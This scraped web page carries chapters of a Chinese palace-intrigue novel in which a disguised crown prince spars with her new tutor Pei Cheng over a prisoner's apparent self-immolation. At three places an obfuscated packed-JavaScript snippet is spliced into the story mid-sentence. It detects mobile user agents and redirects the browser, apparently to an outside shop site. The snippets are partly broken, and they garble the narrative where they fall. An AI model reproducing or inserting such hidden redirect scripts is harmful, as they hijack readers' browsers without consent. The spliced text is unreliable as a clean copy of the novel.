金宝马上点头,目光坚定犹如就要上阵杀敌,“我与七郎自是一心的,您放心,我一定会给他一个教训!让他知道强龙难压地头蛇!” 李相筠把扇子“啪”得一收,“你说谁是蛇,谁是龙呢!” 金宝愣了下,惊慌失措补救:“他是他是!不对,我是,我是地头蛇!也不对……” 他把自己说晕了头,怎么说也不对劲,只能哭丧着脸,悻悻闭上嘴。 可不是祖宗吗,难伺候啊! “郡主,我们还是快些走吧,这里乱糟糟的,若是郡王知道会不高兴的。”婢女小声劝着身边戴幕篱的小娘子,就怕她受这池鱼之殃。” 李竹芸轻轻点头,让婢女拿好酒,默默收回羡慕的目光,从人群后穿出,酒馆的外面也站了不少围观的百姓。 这时候她忽然看见了一张眼熟的脸,是裴家主,裴承。 他带着两名护卫,也不知什么时候来的。 正在李竹芸怔愣之时,对方也看见了她并露出友善温和的一笑。 “郡主。” 李竹芸款款行了一礼。 “此间混乱,让飞雨送郡主回府吧。”裴承提议。 然此举有些过于照顾,让李竹芸微微生出些别扭的感觉,柔声婉拒:“不敢劳烦裴家主,我家的侍卫就在车边上。” 裴承也不坚持,笑道:“也好,郡主路上小心。” 李竹芸带着婢女快步离开,仿佛后面有什么妖魔鬼怪在追她一般。 “这位郡主太小心谨慎了吧?一点都没有皇亲贵胄的傲气!”飞星环住自己的手臂,摇晃着脑袋。 “她自小被放在道观里养,除了太子外,家里竟也没人敢去照拂,自是不容易。”飞雨瞪了他一眼,大街上乱说什么话。 飞星没领会到,继续大胆点评说: “不像里头这位,张牙舞爪的,一看从小就无法无天惯了!” “可先前收到的情报,七皇子在宫里也不受待见……”飞雨不赞同。 裴承听着后面两侍卫的讨论,淡淡说了句:“事出反常必有妖,得想个法子好好盯着他才行。” 飞星飞雨对视了眼。 东宫重重守卫,怎么才能好好盯着小太子呢? 7. 少保 转眼间就快到授衣节,按律官员胥吏能休假十五日,预备寒衣,是难得的长假。 不过对于李相筠而言,无甚区别。 因为国子监一事,圣人大发雷霆,内侍监传话东宫,令她闭门思过,已经好些时日没有去上朝。 她还在等执金卫带回有关黄监丞的消息,另一边就听见皇帝要重用裴承的风声,这下她还怎么坐得住。 马上暗地里联系依附她的朝臣上奏,反对资历不深的裴家主入三省六部。 其中金格达的奏本最厚,高出旁人一半有多,在一捧奏折里相当显眼,让本已无心政事,每次都是一挥手让人拿走的皇帝都有些好奇。 内侍监汪正阳不情不愿捡出来,口里还在劝说:“圣人,国师说午时阳气旺盛,是一日当中为数不多的好时辰,莫要辜负了。” 皇帝道:“金侍郎为吾广盈库又收入两千万钱,他竟也反对裴卿入朝,看一眼也无妨。” 皇帝这一眼,陆展就被砸懵了。 因为裴承没有进三省六部,反而做了他的顶头上司,大理寺卿。 所谓几家欢喜几家愁,面对愁眉苦脸的陆展,背后捣鬼的李相筠只能出言安慰。 好在她有理有据,话说得漂亮。 一来听说那裴承多智若妖,日后有难判的案子交给他岂不是省心多了? 二来大理寺一直以来没有兜底的上司,他作为少卿难免要提心吊胆,现在天塌下来先砸死他裴执玉岂不是妙哉? 陆展脸色好些了,但还是闷闷喝了一盏酒。 “我就是不太喜欢他,没有缘由。” 李相筠点头:“我也不喜欢他。” 理由很多。 听见赞同声,陆展不由望向一旁的小太子。 太子肤色莹白,喝酒从不会上脸,唯有唇瓣沾了酒液,润出了水光,就像是挂露的樱花,颜色莫名有些鲜艳,他心一惊,正好一片瓜子壳弹到了他的手边,他趁机低头拂了去。 咔嚓咔嚓—— 金宝嗑着瓜子道:“真搞不懂你们这些削尖脑袋要去做官的人,昭云兄你有皇后照拂吃穿不愁,何苦要过这样的辛苦日子?还有我那个弟弟一心钻研,好不容易当上户部官,四更鼓响饿着肚子就要往外赶,而我却还能睡到日上三竿,吃饱喝足后呼朋唤友,逗鸟喂鱼,每日过得赛神仙!” 他脸上的巴掌印早已消失,取而代之的是焕发的神采,那张圆润的脸上眉开眼笑,看起来颇为讨喜。 陆展苦笑了下,没有接话。 李相筠听到金宝日子过得如此舒服心里头也不是个滋味,眼睫掀起,底下两丸黑珍珠般的眸子若有似无带了些不怀好意。 恨不得再踢他两脚。 金宝后背一凉,连忙坐直身子,陪笑道:“殿下,您就等着看好戏吧,那个裴家主舒服不了几天了!” “你又做了什么?”李相筠挑了下眉。 金宝“嘿嘿”两声,神神秘秘,不肯细说。 当夜,裴承位于安仁坊的宅子不慎走水,幸亏武侯铺的人来得及时,没有让火势蔓延四周,唯独那间老宅子主屋烧了个干净。 残垣断壁,枯草焦花,不花个半年一年修整是住不得人了。 而起火的原因据说是只鸟叼了支半熄的香,到屋檐下筑巢引起的。 秋日干燥,那火点燃鸟巢,鸟巢又烧着老旧的梁木,这才一发不可收拾。 当夜裴家众人带着抢救出来的物品,流落街头。 因为安仁坊皆是达官贵人的府邸,里头没有客栈,加上早已闭坊,不能随意出去,眼看就要凄凄惨惨在街上安置了,好在赵郡王伸出援手,让他们暂且住进郡王府。 这一忙就是大半夜,天擦亮时,安仁坊的动静才小了下去。 李相筠听后果然舒坦了不少,和颜悦色地对金宝露了个笑,“没想到你还挺会来事。” 金宝拍着大腿,狡辩:“这是天意啊,要不然那么多院子不烧,怎么偏偏就烧了他们家!” “你猜那裴家主会信这是巧合么?”李相筠此时脸上没了笑。 金宝狐疑道:“怎么,一只鸟他还能怀疑是人头上?” “虽是三更半夜,但他们又不是死人,火从外烧起来的,也不至于看着把房子烧完吧,除非……” “除非?”金宝睁大了眼睛。 李相筠抿了下唇,手指不紧不慢在桌子上敲了几下,“除非他也不想自己的那破屋子了。” 若是如此,他是有什么用意呢? 接近赵郡王? / 安仁坊大火的事白日传进皇帝耳中,李相筠紧跟着就被传唤了。 东宫与皇帝常年修道闭关的三清殿是在大明宫两个对角上,一个偏东南,一个居西北,脚步快些也要一刻钟的时间。 李相筠还想着事,怀疑是不是金宝做事没擦干净屁股,把火引到自己身上来了,故而有意放慢脚步,思量对策,拖拉了一炷香的功夫才走到。 汪内侍见到她就迎了下来,故意扬起的嗓音里带着些许怪罪:“太子殿下您可算到了,圣人等许久了。” 李相筠道:“途中处理了点公事,耽搁了一会时间。” 汪正阳便没话说了,将拂尘一甩搭在了自己的肘上,引她登上高台。 邓谦带刀不能入内,就候在殿门外。 进入雄伟道殿,李相筠立刻被萦绕满殿的乳白檀香包围,在一片云雾缭绕中她隐约看见站于一块金笔题有“道法自然”的匾额下,还有位紫衣官员。 等走近才看清,这着紫袍、挂玉带的人就是昨夜无家可归的裴家主。 他的脸玉莹无瑕,眉毛头发完好无缺,脸上的笑容依然温和虚假,让李相筠鼻端忍不住抽哼了声,把目光放到了前方。 大殿正中砌了个黑白阴阳玉台,玉台四周是用黑玉镶于地砖上的八卦相,一着宽袖道袍的中年男子双盘坐于杏黄色蒲团上,一双眼睛七分闭合三分微睁,正在静坐。 他容长白面,蓄有长须,看起来不过四十多岁,英俊风流。 “儿拜见父亲。”李相筠恭敬请安。 那个在市井里跳脱而浪荡的少年郎在这里一举一动都优雅高贵,符合大黎太子的模样。 皇帝缓缓把眼睁开,声音不疾不徐,“来了。” 李相筠警惕地瞥了眼不动声色的裴承,“是,不知父亲召儿来是有什么事吩咐?” “昨夜安仁坊失火让吾想到了国子监的事情,这么多天,太子可查到了什么?” 李相筠道:“已经有些眉目了。” “裴卿现在是大理寺卿,有什么线索可以告诉他,让大理寺刑部一起,尽快给出个交代。” 李相筠和裴承同时应“是”,两人目光接上了又很快分开。 “姚相公这些时日分身乏术,事情太多了,他年纪也大了……太子。”皇帝又唤了一声,李相筠抬头正视他,神情专注,示意自己正在认真听训。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782251|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “姚相公向吾请辞太子太傅的衔职。” 李相筠一愣。 姚兼全是怀贤太子的老师,也是她的老师。他把怀贤太子当做毕生最好的杰作培养,她能看见老人眼里的光芒是欣慰、骄傲与自豪的,那么好的苗子,那么优秀的储君,有他这位帝师的功劳。 而她,只是怀贤太子硬塞进来的,一个陪衬。 曾经是,在怀贤太子死后,更是。 李相筠垂了眼睫,不做声。 胸口沉闷,就好像暴雨前那喘不过气的压抑。 姚相一眼看穿,她不是储君的料,她自己何尝不知道,但是她没得选。 她宁可在这条路上摔得头破血流也不会放弃。 “裴卿说昨夜被赵郡王请入府休息,赵郡王说近来流言不断,令他惶恐,哼,若非太子桀骜难驯,惹是生非,怎么会有如此多的针对?” 李相筠瞥向裴承,暗暗咬了后牙槽。 果不其然是来告状的! “不过,裴卿有句话说的也对,现今多少双眼睛都在盯着太子,偏你仗着身份从不知收敛,如今姚相公都不愿再管教你了,天下学子都在背后骂你狂妄无德。” 皇帝顿了下,仿佛调整了下胸腔里激荡的气息,缓缓道:“吾已命裴卿为太子少保,既他的宅子因你而毁,就让他暂居东宫,也好随时管教于你。” 李相筠蓦然抬首,已经涌到了舌尖的话被她紧紧抿住。 父皇竟知道是金宝所为,玄扇司神通广大让她心惊。 既是如此,那玄扇司岂能不知黄监丞在其中推波助澜诋毁储君,不知她与裴承八字不合,水火不容? 而且太子少保。 既要保护太子,又要教导太子,加在裴承头上更像是一种讽刺。 就不知道是在讽谁。 李相筠横了一眼裴承,对方微昂了下巴,冲她绽开一抹淡笑,缭绕的烟雾把他的紫衣玉颜衬得愈发像是天外来客。 她也不甘示弱地弯了弯唇角。 东宫之中也如大明宫的格局,前庭后院,李相筠为裴承精心挑选了一处住所,有个别致的名字:盼春园。 “别看此处略显荒芜……” 李相筠踩在石缝杂草丛生的小径上,“伤太子住东宫时,这里是他宠妃孟婕妤住过的院子,等春天时,花香馥郁,景色宜人。” “宠妃?怎么感觉怪怪的……”飞星嘀咕的时候没有压低声音,在无人说话的间隙里清晰入耳。 飞雨无语地往旁边迈了一步。 裴承往四周环视,笑道:“殿下如此安排,也是对臣的信赖,外人得知皆会传我们君臣情深。” 李相筠被他一句“情深”给恶心住了,本想把他放进东宫后宫,会惹他恼怒,不想此人面皮厚过城墙,反而顺杆子上爬。 “只是孟婕妤下场不太好,因为嫉恨,冲撞太子,被杖毙于此。”李相筠皮笑肉不笑,“自古情深不寿,还是毋要随意挂在心上啊。” 裴承随意拨开伸至眼前的一根藤蔓,朝旁瞥了一眼:“若无见异思迁,背弃盟市,哪来的嫉恨?殿下当引以为戒才是。” 李相筠抬眼,目不转睛:“裴少保说的是,背信弃义者必是短命之辈。” 两人视线对上,这次无人避开。 秋风吹卷起枯黄的落叶,拂过他们的袖摆,似乎稍稍碰到了,又像从未接近过。 “天凉了。”裴承微微一笑:“殿下要保重身体。” 8. 嫌疑 这世上本没有不透风的墙,更何况这件犹如轰雷震耳。 每个茶馆、酒楼都能看见几个唾沫横飞的好事者在分析太子与裴家主的几次交锋是如何的精彩。 用人拿筷筒充当醒木往桌子上一敲,激昂挥手,“到底是裴少保棋高一招,这次是大获全胜呐!太子不让他进三省中枢,好好一个宰辅之才被踩到大理寺去管刑案,他就干脆压到太子头顶上!都知道吧?本朝可还没出过这么年轻的太子三师,姚相公第一次当太子少傅的时候都过了四十岁!” “这么说,太子是赔了夫人又折兵?” “正是这个理啊,太子决计想不到自己这一招反倒让裴少保青云直上啊!” 有人看好,当然也有人挑刺: “话不能说满!太子少保到底只是个衔职,比不上尚书令之类实权在握,再说国子监那边还闹着,太子这位置坐不坐得稳难说……” “是啊是啊!”听客们墙头草般又去附和另一边了。 说起来,本朝太子无不命途多舛,几乎没有善终。 往近里说,当今圣上就已经立过四个太子。 一病故,一早夭,一伤亡,最后一个便是如今东宫里头这个,更是邪门。 反对他的声音一波接一波,他这个太子当的就好比秋天树上挂着那黄叶,摇摇欲坠啊! 现下国子监三名学子竟献祭己身也反对太子扩权,惹来天下学子犹如打了鸡血般,群起攻之,雪花般的文章飞到相关官吏的案头,让他们头疼不已。 李相筠用三指托着汝瓷薄盏,茶雾氤氲,她略歪着脑袋,听茶馆中庭吵闹的声音渐渐入了神。 门忽而被打开,邓谦领飞星进来。 同在东宫三日,李相筠让人密切留意裴承主仆三人的性情。 这个飞星算是他们之中最好看懂的,身手敏捷头脑简单。 飞星进来也没有客套话,拱手就道:“殿下,家主命我来告知一声,黄监丞死了。” 李相筠喝完盏里的茶方抬眼望他,“死了?” 飞星藏不住话,马上就露出一副迫不及待分享的神情。 偏在此时,茶馆下方又传来一道声音。 “诸位恐怕还不知道吧,今日刑部大牢发生了一件咄咄怪事,牢中的一名犯人竟然火中羽化,脱离生死,孤烟冉冉而升,形骨俱散,徒留下‘龙潜在渊,一冲飞天’四个血字在牢房墙上!” 长安人跟着皇帝多数信仰一个叫圣火教的异教,所以对火既崇敬又向往,不少人甚至放弃了《周礼》所灌输的儒家正统思想:“众生必死,死必归土”,开始流行火葬。 在圣火教义当中,德高望重或者孝悌忠信之辈死后,薪灭形碎,孤烟如笔,狂风不乱,直上云霄。 信徒们死后的愿望便是自己的烟能够直一些,好让世人得知自己一生是圆满的。 “‘龙潜在渊,一冲飞天’,这四个字当初是圣人领兵在外,踌躇怅然不知进退之时,有位高人赠予他的卦象,正是因为这一卦,才让他下定决心,率兵回都,清君侧匡正统,打下了如今我们的太平盛世!” 七嘴八舌的声音在下面闹成了一锅粥。 “所以这是天命所示啊!” “天命岂可违背,只是这潜龙究竟是指的谁?” “还能有谁啊,赵郡王府那位文武双全的世子爷,表字伯渊,那可是个神仙般的人物,上次隔壁坊王屠夫家的翠二丫不小心把杀猪的脏水泼到了他袍子上,他非但没有怪罪,还递了块帕子让人擦手……” “这么说起来,可比那位强上不少,听闻那位欺男霸女,嚣张跋扈,只是因为再没有兄弟相争,就连前一位指不定也是被他……” 李相筠放下茶杯,转眸迎向飞星的目光,道:“走。” “啊?”飞星还没反应过来,太子已经擦过他的身侧往外走,丢下一句话。 “裴少保叫你来,不是要请我去一观吗?” 飞星跟在后面小跑嘀咕:“还真叫家主猜对了,什么也不用说,太子殿下就会主动过来。” 李相筠哼笑了声,懒得回头与他掰扯。 三人从景风门入内,到达皇城尚书省所在,刑部的公堂、值房以及大牢都在这里面。 大理寺少卿正在外面等着李相筠,显然他是跟着上司裴承而来。 “殿下,黄监丞才移到刑部不到半个月,又未提审,也没有上刑,莫名其妙就一把火烧了,连灰都没有剩下多少。” 趁走路的空挡,陆展向李相筠介绍情况,至于飞星早离开去向他主子通风报信去了。 李相筠便肆无忌惮问:“听说他死后烧的烟很直?看见的人很多?” “多……不说皇城里边值班官员,就永兴坊、崇仁坊都有不少人看见晨昼之时一缕灰烟升腾而起,这才让人发觉刑部大牢竟然有火,那时候正是卯时左右,天将亮未亮。” “看见烟后,刑部的值官何时去牢房查看了?” “两位值官顷刻去了牢房,可里面的狱卒昨夜饮了酒,正趴在桌上酣睡,连钥匙都找了许久才想起是给郭主事带在身上,而郭主事昨夜家中老母突发恶疾,在晚上巡查完监牢后就匆匆离开。” 李相筠继续问:“那这位郭主事人现在何处?” 陆展正色道:“裴少保命人将他抓来,正在问审。” “贼喊捉贼?” 李相筠不相信这件事与裴承会没有关系,从最初的三学子到现在的黄监丞,一步步都在将她推向一个“名不正言不顺”的境地。 当今圣人信道,他们就要在这神神叨叨上让她站不稳脚。 “殿下要去听审吗?” “不,孤想先去看一眼牢房。” 由于这件事是刑部的失责,所以大理寺插手名正言顺,陆展身着一身绯红官袍,腰间悬着大理寺牌子,带着李相筠畅通无阻进到牢房内部。 关押黄监丞的牢房还保持着原样。 天窗一点微光照不亮里面,全靠陆展与邓谦手里的火把。 正对方窗的地上有一片污黑的焦灰,零星散落枯黄干瘪的稻杆,这是原本铺在角落里给犯人休息用的,现在变成了引火的道具。 李相筠半蹲下身,伸指头在地上的灰烬里抹了下,捻了捻,粗灰簌簌而落。 “就这点灰看起来不够一个人的量,怎么说是他自焚的?” 陆展道:“有目击的狱卒三人,值官两人,他们都亲眼目睹。” 李相筠把他们叫来问话。 狱卒一惶恐道:“我看见了,他伸开双臂,歪斜脑袋,火遍布他全身,烧得快不成人形了!……是啊,还有个轮廓,四肢脑袋都在火中隐约可见。” 狱卒二搓动手臂上的鸡皮疙瘩,“我还听见了他在桀桀怪笑,声音渗人……的确是笑吧?” 狱卒三大力揉着肿胀的太阳穴,一副宿醉没醒的样子,畏畏缩缩道:“小人那时候还没酒醒,眼睛被火光刺痛,便没有看清……声音?好像是有什么咔嚓咔嚓的声音……上官明鉴,小人这是头一回,下次再也不敢饮酒了!” 值官一行了一礼:“我们到的时候,黄监丞已经烧得不成人形,也不知道是谁留了火折子在草堆里,想必他就是用这个点着了稻草而后烧死了自己,烟就从上面的方窗散了出去。” 值官二说:“确实是黄监丞,他身上的衣服没烧完前我还看见他袖口上缝的字,勤之,不正是他的字,何况这边的西牢刚处决了一批死囚,空了下来,只剩下他一个。昨夜郭主事锁好了外牢门忘记留下钥匙就匆匆离去,导致我们夜里想进去看一眼都不成,更别提有人能够从里面出来了……陆少卿,这些刚刚裴少保不是已经问过了吗?” “哦,就是有些细节没有听清楚,想听你们再复述一遍。”陆展面不改色把他送走。 李相筠从隔间走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782252|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出,穿过外牢门,走回关押黄监丞的那间,环顾四周。 “外牢门两把锁,两把钥匙,内牢门一把锁俱没有损坏,没有人进出的牢房,遗失的火折子……还有墙上的血字……” 龙潜在渊,一冲飞天。 意指真龙不在其位,针对的当然不会是曾经拨乱反正,得吉卦庇护的圣人,而是她这个太子。 李相筠举起火把在牢房仔仔细细检查了一遍,最后昂头站在唯一的高窗下思索,耳畔听见几道脚步走动。 “裴少保。”陆展及时出了声。 李相筠回头,隔着斑痕深浅不一的栅栏看见一身紫袍的裴承停在外面。 两侧的光源从他的侧后方映出他格外俊拔的个子,让人莫名有一种被俯瞰的错觉。 “殿下可是看出什么门道来了?”裴承从铁栏的缝隙投来询问的目光。 “那裴少保又审出了什么?”李相筠不甘示弱回问。 裴承抬指敲了敲铁栏,声音不紧不慢:“此案扑朔迷离,拖得时间越久,对殿下越不利。” “看来裴少保没能问出东西,倒也不意外。”李相筠盘起手,唇角勾起讽笑。 还扑朔迷离呢?摆明是有人在故弄玄虚。 “哦?殿下胸有成竹,想来是有线索。” “确实有点。”李相筠走出牢房,脚步不停,只用余光瞥向裴承,徐徐道:“裴少保嫌疑很大。” “是么,臣倒是觉得殿下的嫌疑也不小。” “孤?”李相筠不由停下脚,正好站定在裴承的身侧,两人衣摆若有似无挨在了一块,李相筠昂起下巴,鼻端先嗅到一股药草味。 在这充斥着烧焦干臭、劣酒陈味、阴湿潮气的监牢里,药味都变得尤其清冽,干净。 但对方是裴承,李相筠面色不改偏转了头,徒留下一张不以为然的侧脸。 裴承压低下巴,嗓音响在李相筠耳侧,“想要黄监丞死,殿下的嫌疑最大不是吗?至于墙上的字,一来是让民意一边倒向殿下最大的强敌,反而引起圣人忌惮,借刀杀人打压对手,二来让自己摘除嫌疑,完美成为被害者。” 李相筠都要气笑了,无语地凝视裴承半晌,问:“裴少保借题发挥的本事师承何人,竟也如此卓越。” 好会狡辩,黑的都给说白了,她这个受害者反而变成嫌疑重重? “无论大理寺还是刑部,拿人定罪,都要讲究人证物证。”陆展早就不满了,这时候张口既是提醒裴承律法规定,更是为太子说话。 “只是一种猜测罢了,保护殿下的清白,当然也是臣的责任。”裴承直起上身,嘴边还挂着若有似无的笑。 李相筠又看了他一眼。 这人即便是笑,但神情却冷漠之至,仿佛只是个高高在上的执棋手,正在盘算着手底下的棋子该如何摆布。 他究竟想做什么? 李相筠紧了下拳头,忍住想要挥到他那张讨人厌的脸上,扭头往外走。 身后一连串的脚步声紧跟着她。 “殿下,那接下来怎么办?” “相关人等一概羁押进大理寺监牢,三日后,重审。” 陆展正想应是,忽然想起身后还有位比他官高的裴承没发话。 “殿下这么有信心,三日后就一定能查明真相?”裴承慢悠悠从黑暗的深处走入火把照亮的地方。 “只要是人做过的事情,绝干净不了,无论时间过去多久,都会留下蛛丝马迹。” 李相筠回眸,隔着几人,定定望向更后方的裴承。 裴承迎向小太子那双被火光映照得分外明亮的眼睛,微微往下撇了唇,声音不由冷了几分。 “确实,我们都要做那抽丝剥茧的人,只希望剥到最后,不要自个却是深陷其中。” 他也不等旁人细思话中深意,没有停顿片刻,接着命道:“照殿下吩咐,缉拿疑犯,三日后再审。” 9. 他好 “三日时间内要解开这个案子……”裴府尹捋着胡须,眉头紧蹙,摇摇头,好像已经被难倒了。 “很有趣。 ”裴承啜饮了口茶水,润了下嗓。 裴府尹坐直了身子,一副看怪物的神情盯着裴承,声音不由拔高:“还有趣?哪里有趣了,那个黄监丞也不知道背地里还有什么人在帮他,连你也被摆了一道,说不定现在那太子正在满大街找有没有能把你拉下水的线索!就算没有,他估计也会想尽办法编造。” “所以才有趣不是吗?”裴承把杯子放下,往桌子里推了推,缓声道:“传闻说太子嚣张跋扈,不学无术还爱惹是生非,朝臣无不对他失望透顶,换储的风声从未停歇,可你也到长安这么久了,与这位太子见过面,他是那样简单好对付的纨绔吗?相反,他会验尸能查案,伶牙俐齿,手下还有能用之人,可不像是不学无术的人。” “……要不是看见你还是这幅冷脸,光听你这话,倒是像挺欣赏他的?” “欣赏谈不上。”裴承在裴五爷的注目下坦荡地继续道:“只是眼下已经明了,对付他若是掉以轻心是要吃大亏。” 在特意安排的观察下,不难看出这小太子除了嚣张之外确有些不同于传闻的地方,尤其他不是个笨蛋。 裴五爷满脸赞同。 裴承用手撑着下颚,幽幽目光转向窗外。 庭院里落叶纷纷,已有了几分秋日萧瑟。 刑部牢房里,小太子的目光仿佛又映入眼帘,亮而坚定。 这样四面楚歌的境地,他好像不知道怕一样。 可——究竟是真不怕,还是另有什么盘算? / 因着刑部牢房一事,李相筠刚从三清殿挨训出来,早就习惯父亲横竖看不顺眼她,所以一点也没有被影响心情,照常慢悠悠溜达回东宫,端了草料去喂大鹅。 东宫北侧思勤园专门种上蔬菜鹅草,还辟了一个养鱼的小池塘,十来只羽毛雪白的大鹅生活在这里,有四名小太监照顾。 嘎嘎嘎—— 嘎嘎! “怎么在打架。”远远听见叫声不对劲,李相筠把草料碗往旁边邓谦手中一塞,自己快步走进园中,就见天上羽毛在飞,地上群鹅在追。 白泱泱一片,一会往东里去,一会往西里追,大翅膀抡起了狂风,把周围的草叶都吹得东倒西歪。 “欸欸欸鹅大爷们别追了!哎!鹅八你脚都折了还跟着凑什么劲?” “鹅十一你趁机啄鹅六我都看见了!” 四个太监搞不定这一群大鹅,追来捧去,个个都忙得大汗淋漓,脑袋上衣服上都沾有鹅毛,一看就是酣战已久。 李相筠蹙起了眉,仔细一看,原来在一群鹅中间多了只雪白的老鼠,浑圆的脑袋上顶着两只半圆毛绒的耳朵,圆条形的身体后拖着根不长不短的尾巴,它仗着身体灵活在嘎嘎乱叫的大鹅之中逃来蹿起。 就是它在四处拱火。 李相筠大步走进去鹅群,弯下腰,眼明手快一把摁住地上那只白老鼠又举了起来,大鹅在她身边昂起脖颈,张开扁嘴一通乱叫,气得不轻。 “吱吱——” 小白鼠四只爪子又是扒拉又是蹬踢,但一点也伤害不到李相筠,挣扎了片刻像是认识到了敌我悬殊的力量,老老实实放弃抵抗,垂下了爪子,睁着两只溜圆的黑眼睛瞅着她,虽然是张毛茸茸的小脸,但莫名还能让人看出一点可怜样。 但李相筠没有一点心软,哼道:“这不是裴承的小东西吗?” 那日在义庄裴承的肩膀上就盘着它,李相筠那时候就瞧它长得怪,因此记住了。 “殿下恕罪。”四个太监诚惶诚恐地跪在旁边,争先恐后地述说情况。 “奴婢们也不知道是从哪里来的,一进来就开始薅鹅的毛。” “一开始只有鹅十七在追,后面鹅大和鹅十一也追了起来,不知道怎么它们边追边干架,这才乱成一团……” 鹅有很强的领地意识,对于入侵者驱赶和攻击都是再正常不过了,李相筠母妃去世后有一段时间无人问津也无处可去,到禽鸟园时没少挨过啄,打过架,直到后面打熟了脸,它们才算接纳了她这个人,给了她容身之处。 李相筠把那小白兽提着转了一边,刚就发现它背上居然还背了个布袋子,显然是有人为它特意定制的,现在布袋子里鼓鼓囊囊,塞满了鹅毛。 “好啊,偷毛的小贼。” “吱吱……”小贼心虚地眼神飘忽,小小地挣扎了几下,没有多大作用就垂下了爪子。 李相筠拿指头虚点了下它的鼻尖,“正好,找你主子算账!” 李相筠一手抓小毛贼,身后跟着毛被薅得最惨的那只鹅,雄赳赳气昂昂朝着盼春园而去。 裴承刚从外面回来就撞上来算账的太子,在他们这奇异的组合上打量了几眼,眼神莫名。 “偷毛?” “对!”李相筠肯定,身后那只鹅张开翅膀“嘎”了声,大力助涨她的声势。 裴承思索了片刻,盯着太子和他脚边同样凶恶的鹅,“……所以,要道歉吗?” “自然是要。” 裴承轻笑了声,“殿下还有这个心情?黄监丞失踪一案,后日就要重审了,若是郭主事依然不透口风,你又当如何?” “郭主事不过是只蝼蚁,只要能找到黄监丞不就水落石出了吗?” “殿下能找到黄监丞?” 李相筠提起小白兽,晃了晃,“山不就我,我去就山,谁说孤要找了?” 裴承一垂眸的功夫就想明白了,往身后的柱子上一靠:“殿下是找到了黄监丞的祖母?” 李相筠没有应声,只是唇角微勾。 意思嘛大家心知肚明。 “怀贤太子可不会这般行事,殿下当真是半点名声也不要了。” 以孤寡老人做威胁,乃卑劣小人行径。 “人与人本就是不一样的,孤向来如此。”李相筠眼睛眯了眯,忽然就把小白兽抛回给裴承。 “裴家主还真想当孤的老师?哼——且不说你有没有这个本事,不妨先管管你的老鼠,既然擅自住进别人家,就不要偷鸡摸狗让人抓住把柄。” 裴承一伸手臂轻松接住了小兽,不紧不慢道:“殿下说错了,其一臣为太子少保本就是有本事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782253|145793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当太子老师,其二小飞不是老鼠而是伶鼬,天寒了,它喜欢自己搭窝,这是动物天性,若殿下要个道歉,等春天它换毛的时候,臣让人收集起来给殿下的鹅——做条毛领子。” 那叫小飞的伶鼬轻车熟路爬到了主人的肩头,站直了身与李相筠对视,等听见毛领子的时候才浑身一抖,一溜烟躲到了裴承的脖子后,只露出半张脸两只眼睛。 大鹅迈着内八往前走,愤怒地要去啄裴承的袍子,李相筠没忘某人说擅长铁锅炖大鹅,及时按住它的脑袋,自己则扬起脸浅浅一笑,“裴少保不觉得春天太久远了吗?” “久么?难道是殿下怀疑自己在东宫待不到春天了?”裴承伸指逗弄了两下小飞,目光还在打量太子。 小太子虽有约摸六尺半的身高,但体格明显偏小,那张脸也是秀美有多,英气不足,只是他的神态倨傲时,面上显露咄咄逼人的气势,凶得很,就感觉是他养的鹅,看谁叼谁。 “孤在这东宫已经住了两年多,只是担心裴少保住不习惯罢了。” “多谢殿下关心,臣住得很习惯。倒是殿下明明还在禁足当中,却不顾禁令,与人邀约,是沧浪阁的酒好喝?还是里面的人有趣?” 李相筠微凝目光,不悦只是一小瞬,很快她就无所谓地回了句:“酒好,人也好。” “是么?赵郡王世子当真有这么好?”话音脱口,裴承忽而感觉胸口涌起异样,他不由抬手按住胸腔。 李相筠暗嗤了声。 就知道裴承不会莫名其妙提起沧浪阁。 原来他不但知道她今晚要赴的约,还打听到她与赵郡王世子的那些事情,是专门在这里刺探来着。 解释太麻烦,倒不如让他误会了去,说不定还会对她避而远之,少来管她的闲事。 李相筠弯了弯唇角,语气温柔夹杂些暧昧:“不错,孤就欣赏长得文弱气质出众的郎君,最擅风花雪月而不是煞风景。” 她的目光轻飘飘往上,滑至裴承那过于高大的身体徘徊,因为高故而他的臂膀也宽。 真是好煞风景的一栋墙。 待李相筠用言语与眼神狠狠抨击完裴承满足走后,飞星和飞雨才从屋顶飞下。 “我听懂了!小太子是说家主煞风景!”飞星兴高采烈。 飞雨白了他一眼,“这有什么值得高兴?那太子的意思摆明是在警告我们家主别挡他的道。” “唔……”裴承坚持了许久,终于忍不住闷哼了声。 正在斗嘴的两兄弟立刻住嘴。 一边的裴承低垂下脸,一只手捂住了左眼,徒留下被散落碎发遮掩住一半的右眼,那只眼黑中凝红,危险地闪烁。 